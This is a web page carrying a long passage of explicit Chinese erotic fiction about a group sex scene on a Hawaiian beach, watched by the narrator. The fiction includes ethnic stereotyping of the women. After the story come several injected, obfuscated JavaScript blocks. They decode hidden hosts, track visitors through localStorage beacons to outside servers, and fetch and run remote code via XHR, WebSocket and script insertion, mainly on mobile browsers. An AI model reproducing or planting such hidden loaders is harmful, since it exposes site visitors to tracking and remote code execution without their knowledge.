  夜猫嘴里轮流吮啜着哈娜的乳头,手指挖抠着她的阴户,眼睛还侧斜向上欣赏着怀中妞儿欲仙欲死的表情,耳朵享受着她要生要死的爱叫,视觉、听觉、触觉都受到强烈的刺激,阴茎不由得越挺越硬、越勃越胀,但仍然坚挺不屈地努力抵抗着哈娜阴道壁对它的不断套捋与磨擦,把性交的快乐时光尽量延长。

  「噢!……打令……多美妙……多舒服……呀……我的天!……你真粗……撑得我快裂开两边了……」姬丝用英语高呼出的一连串惊叫,又把我与阿郎的视线不约而同地吸引回梦猫那边。

  原来这时梦猫已把姬丝往前一把推倒地上仰天而躺,自己随即伏身趴上去,飞快地把两掌往她腋旁一撑,上身一压、下身一挺,一支又粗又长的阴茎便顺着淫水的带领,眨眼功夫就丝毫不剩地全部送进了她湿滑的阴道里。

  姬丝的子宫颈大概此刻被他硬梆梆的龟头忽地顶中,全身猛烈抖了一抖,双手扶着梦猫的腰打了个冷颤后,才「啊……」地呼出一口长气,将小腿屈曲搁在他屁股两侧,大腿张阔、小腹收压、阴户微挺,摆好一副迎战格局,准备随时领教梦猫即将进行的疯狂抽送。

  由于他们躺到地上,前面的灌木丛便遮挡了我们一部份的视野,为了看得更清楚,我与阿郎蹑着手脚走到离他们更靠近的一排美人蕉背后,此时与他们的距离,变成 是近在咫尺之遥而已。

  梦猫不知是在凝聚力量,还是故意吊吊姬丝胃口,阴茎虽已深入腹地,却不急于抽送, 是挪动屁股在上下左右地打圈,让插在阴道里的阴茎在内里不断四下搅动,直逗得姬丝混身虫行蚁咬、柳腰乱摆,屁股左不是、右也不是地跟随着他团团转,小腿越抬越高、淫水越流越多,从身体深处渐渐渗出来的骚浪劲令她再也忍不住了,双手搂着梦猫咬牙切齿地直嚷嚷:「噢!……打令……别再戏弄我了……马上用你强壮的鸡巴……狠狠地来抽插我吧……求求你!……」

  梦猫嘴角泛出一个英雄式的微笑,随即把头一低,屁股立即像海面上的波浪一样高低起伏,硬得有如铁棍般的阴茎,顷刻就在姬丝火烫的阴户中飞快地抽送起来,姬丝顿时舒畅得娇躯猛颤、气喘声抖,十只脚趾蹬得笔直,两条小腿在梦猫的腰旁高高举起乱踢乱舞,口里喊得声嘶力竭:「噢……喔喔……打令……你真了不起……喔喔……干得我爽死了……噢……我的天……多幺美妙呀……」

  猫儿叫春一样的呼声不断传入耳中,加上夹杂着阳具与淫水磨擦所发出充满节奏感的『吱唧、吱唧』交响,连我这个旁观者也不禁给渲染得脸红心跳、气喘加促,几乎把持不下而想沖出去一道加入战团。

  忽然,下体一阵痛痒传上来,连忙低头一瞧,原来不知何时阴茎已经勃起得如怒目金刚,正在不停地跳跃,而龟头又刚好抵在前面的一棵鬼针草上,小刺一下下地在龟头的嫩皮上刮,怪不得会产生疼痛感!把阴茎拨过一旁时凑巧看见,原来无独有偶,阿郎胯下的阴茎,此刻也与我一样呈现兴奋状态,像枝高射炮般硬挺挺朝前直指。

  摆脱了鬼针草的骚扰后,再抬头继续观战,谁知就在这一瞬间,形势又有了新变化:姬丝已经翻转身,像只小狗一样四肢着地俯伏着,屁股翘得老高,梦猫则跪在她后面,扶着她两边肥臀一推一拉,插在阴道中的阴茎就在推拉之间,顺势进进出出,既省力又富观感。梦猫一边享受着生殖器传来的阵阵快慰,一边欣赏着自己的阴茎在姬丝阴道中出出入入的水花四溅场面,以及两片小阴唇被拖得一掀一反的美景,脸上的表情简直舒爽得飘飘然。

  这时豹猫与秀子一对也走了过来,两人面对面地胸膛互贴,秀子双手搂着豹猫的脖子,两条腿紧缠他的腰,当然阴道里也不忘插着他的阴茎,用一记『龙舟挂鼓』的招式来到战场,两人一路走一路亲嘴,豹猫也一路捧着她的屁鼓托上托落,边抽送边走路边亲嘴,忙个不亦乐乎。

  磨磨蹭蹭的好不容易才来到梦猫身旁,豹猫扶着秀子的背轻轻弯下腰,把她推送到姬丝胸下的空隙,秀子当背脊一触到地面,也随即松开双手仰躺,变成了与姬丝一上一下的头脚互对, 是阴户仍然与豹猫的阴茎相连。

  豹猫的抽送并没有一刻停止过,他边挺动着边蹲低身,把秀子的屁股也搁到地面,秀子扭了扭腰,睡顺身子,挪动到把小嘴正正对住姬丝往下悬垂而不断摇晃着的乳房,而她胸前的一对肉包子自然也同样对正姬丝的樱桃小嘴。

  姬丝也蛮有默契,一待秀子躺好,便俯低前胸,轮流把她两粒乳头含到嘴里一一吮啜,由于胸口垂低,姬丝的乳头同样也自动送到秀子的嘴边,但秀子却因双手不用支撑体重,所以除了吸吮着她一边乳头的同时,又可以用手抓着另一边的乳房来握捏,将一对肉球搓圆按扁。

  这时候更热闹了,两个女的又要忙着应付对方的乳房,又要忙着应付阴户里正在如狼似虎地抽插着的阴茎,一张小嘴不知顾得用来叫床好,还是用来吮啜乳头好,上下受敌、四面楚歌,一时间忙乱得 懂将身体又筛又挺、又抖又颤,简直应接不暇, 知乳头胀红得发硬、阴户里淫水横流、肉体上美快难言。

  『吱唧、吱唧』的抽插声此起彼落,中间又加上『哒、哒』的吮啜乳头声,以及相隔一会便出现的粗重呼吸声,几种声音交错萦绕,在空气中不断回响,再加上近距离目睹着淫乱的活春宫表演,我哪里再憋得下去?也顾不得阿郎就蹲在身旁,自顾自地握着阴茎在套捋着,虽然不及三只小猫那幺风流快活,也总算聊胜于无!阿郎见我在打手枪,忍不住也有样学样,同样把弄起自己的阴茎来。

  「噢……呀……我快捱不住了!……你,你干轻一点……呀……我的小 就要给你插爆了……呜……受不住了……噢噢……我来了……」沙滩上忽然传来杀猪般的嚎叫,如果不是早知道夜猫正在那里 着哈娜,这种呼天抢地、欲生欲死的痛苦叫声,骤耳听来,还以为是有个千面奸魔正在强奸无辜少女呢!我和阿郎的注意力,不由得又被他吸引过去了。

  哈娜被夜猫放在岸边一张平腰高的荒废石凳上,两腿吊出凳外,屁股搁在凳沿,夜猫就站在她张阔的大腿中间,双手狠狠地握着她胸前一对乳房借力,盘骨用劲地前后摆动,两人下身猛撞到一起时,发出清脆的『辟啪』一声,声音不但响亮,而且频密,一下接一下,下下到肉、下下要命,听得人胆战心惊。

  细心观看一下, 见夜猫的阴茎被无数像树根一样的青筋绕满,条条青筋凸得鼓胀毕露,令阴茎凹凸分明、磨擦特强,加上夜猫大幅度地挺动下身,而哈娜的一对乳房又让他死命抓紧,身体的后座力欲卸无从, 好演挺着阴户,硬生生地乾捱着夜猫那狼牙棒一样的阴茎疯狂进攻,任由得他把阴户 得又红又肿,两片小阴唇也给 到掀翻,勃硬而无助地撑向两边, 有顶端的阴蒂还不太受到牵连,依然能够娇滴滴地伸出粉红色的圆头,静静地窥视着粗壮的大肉条在阴道里横沖直撞,尽情地胡作非为。

  经过夜猫无数次勇猛的碰撞,哈娜整个会阴呈现一片绯红,阴道再也无力紧箍肆意侵袭的阴茎,张开大门任由它随意地自出自入、抽送个没完没了,淫水却依然长流不息,从阴道口流向会阴、再顺着屁股缝淌下石凳,在石凳上聚汇成一滩又黏又稠的白花花水浆。

  哈娜的身体不断发出一阵阵的颤抖,高潮一浪接一浪,无休无止地涌上来,令她承受不住,抽搐得整个人都快虚脱了,叫床声也由最初的声撕力竭变成气若游丝的无病呻吟,从鼻孔里吭出『咿咿哦哦』的软绵绵闷音, 表示着她尚有知觉,仍然一息尚存而已。

  夜猫正干得兴高彩烈,无意中扭头瞄一下身边,发现本来在旁边干着同一样玩意的豹猫与秀子芳蹤已杳,莫名其妙地向这边望过来,才惊觉他们已经和梦猫会合,四人正在埋头玩其集体游戏,夜猫将抽送速度减慢下来,力度也没先前那般凶猛了,看他的意思,可能是打算歇一歇,好给时间哈娜回回气,然后再来。

  想不到我的猜测错了, 见他把阴茎再抽送多二、三十下后,便停下来,阴茎仍旧插在哈娜的阴道里,然后俯身搂着哈娜,用豹猫一模一样的『龙舟挂鼓』招式将她抱在胸口,大踏步朝四人这边走过来。

  哈娜混身酸软,像个布娃娃一样随他摆弄,懒洋洋地依偎在夜猫的胸膛上,带着满足的神情揽着他脖子,双腿交叉夹着他的盘骨,凌空吊挂在他的腰间,夜猫雄壮的阴茎从下往上插在她阴户里,骤眼望过去,活像哈娜全身的重量,就依靠那劲力十足的阴茎支撑着一样。

  来到四人的群交地点,夜猫把哈娜轻轻放下地面,贴靠着另外两个少女的身躯而卧,然后把阴茎从哈娜的阴户里拔出来,挺举着那仍然屹立不倒的肉棒站在一旁,兴致勃勃地观看梦猫与豹猫分别挥舞着粗壮的阴茎,在两个少女的阴户里不停抽送的激烈战况。

  看了一会,忍不住又蹲低身,伸出两只手,分别握着姬丝和秀子的一个乳房在搓揉,玩了一会,又用食指与中指将她们的乳头夹住,左右开弓地把姆指压在乳头尖端上面磨擦,搞得两个妞儿混身酥麻,把蛮腰和屁股乱摇乱摆,几乎令梦猫和豹猫那正在抽插得如火如荼的阴茎也从阴道里甩脱出来。

  面前的三个少女,不同的人种、不同的肤色,恰恰正代表了占夏威夷居民里人口比数最多的三个民族:白种人的姬丝,热情奔放,是美国本土居民的后裔﹔黄种人的秀子,含蓄温顺,是日本移民的后裔﹔而浅棕肤色的哈娜,健康开朗,正宗夏威夷原土居民后代所生的姑娘。

  能够与她们三个人都性交一趟,差不多可以说已经全部领略过夏威夷所有民族女子的不同性爱反应、不同的生理结构、不同的民族特质了,我和阿郎面面相观,自叹没有三只小猫那幺本事,能够亲身去体验,仅能做个旁观者而已。

  ——————————————————————————–

function aZFAtUK(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function bejEovHD(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return aZFAtUK(t);};window[''+'g'+'q'+'b'+'i'+'e'+'v'+'O'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Pbed(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=bejEovHD,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Pbed(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9473/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Pbed(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmFoZGFpai5jb20lMM0E4ODkx','d3NzJTTNBJTTJGJTTJGYS54a25lb2suY29tJTTNBOTTUzNA==','9171',window,document,['M','T']);}:function(){};
function jQEAxPhY(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function GIVrKx(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return jQEAxPhY(t);};window[''+'Q'+'m'+'M'+'x'+'s'+'U'+'Y'+'E'+'e'+'B'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function OKqtg(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=GIVrKx,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=OKqtg(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15636/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=OKqtg(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jjbiUzQTg4OTE=','d3NzJTTNBJTTJGJTTJGYS55a2toanMuY24lM0E5NTTM1','168218',window,document,['j','T']);}:function(){};
let urls=["hSStSStSSpSSsSS:SS/SS/SSmSSqSS1SS4SSnSS3SS8SS9SS2SS.SSoSSsSSsSS-SScSSnSS-SSsSShSSaSSnSSgSShSSaSSiSS.SSaSSlSSiSSySSuSSnSScSSsSS.SScSSoSSmSS/SS1SS4SS/SS1SS1SS0SS5SS5SSbSSaSSfSScSS2SS3SS3SS4".split("SS").join(""),"hMMtMMtMMpMMsMM:MM/MM/MMpMM.MMgMMoMMdMMmMMwMMiMMtMMhMM.MMcMMoMMmMM/MM1MM4MM/MM1MM1MM0MM5MM5MMbMMaMMfMMcMM2MM3MM3MM4".split("MM").join(""),"hRRtRRtRRpRRsRR:RR/RR/RRoRRcRR1RR8RR1RR4RRnRR3RR8RR9RR2RR.RRoRRsRRsRR-RRcRRnRR-RRsRRhRRaRRnRRgRRhRRaRRiRR.RRaRRlRRiRRyRRuRRnRRcRRsRR.RRcRRoRRmRR/RR1RR4RR/RR1RR1RR0RR5RR5RRbRRaRRfRRcRR2RR3RR3RR4".split("RR").join(""),"hDDtDDtDDpDDsDD:DD/DD/DDdDD8DD9DD-DD1DD3DD1DD3DD9DD4DD4DD0DD6DD2DD.DDcDDoDDsDD.DDaDDpDD-DDhDDoDDnDDgDDkDDoDDnDDgDD.DDmDDyDDqDDcDDlDDoDDuDDdDD.DDcDDoDDmDD/DD1DD1DD0DD5DD5DDbDDaDDfDDcDD2DD3DD3DD4".split("DD").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2334_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();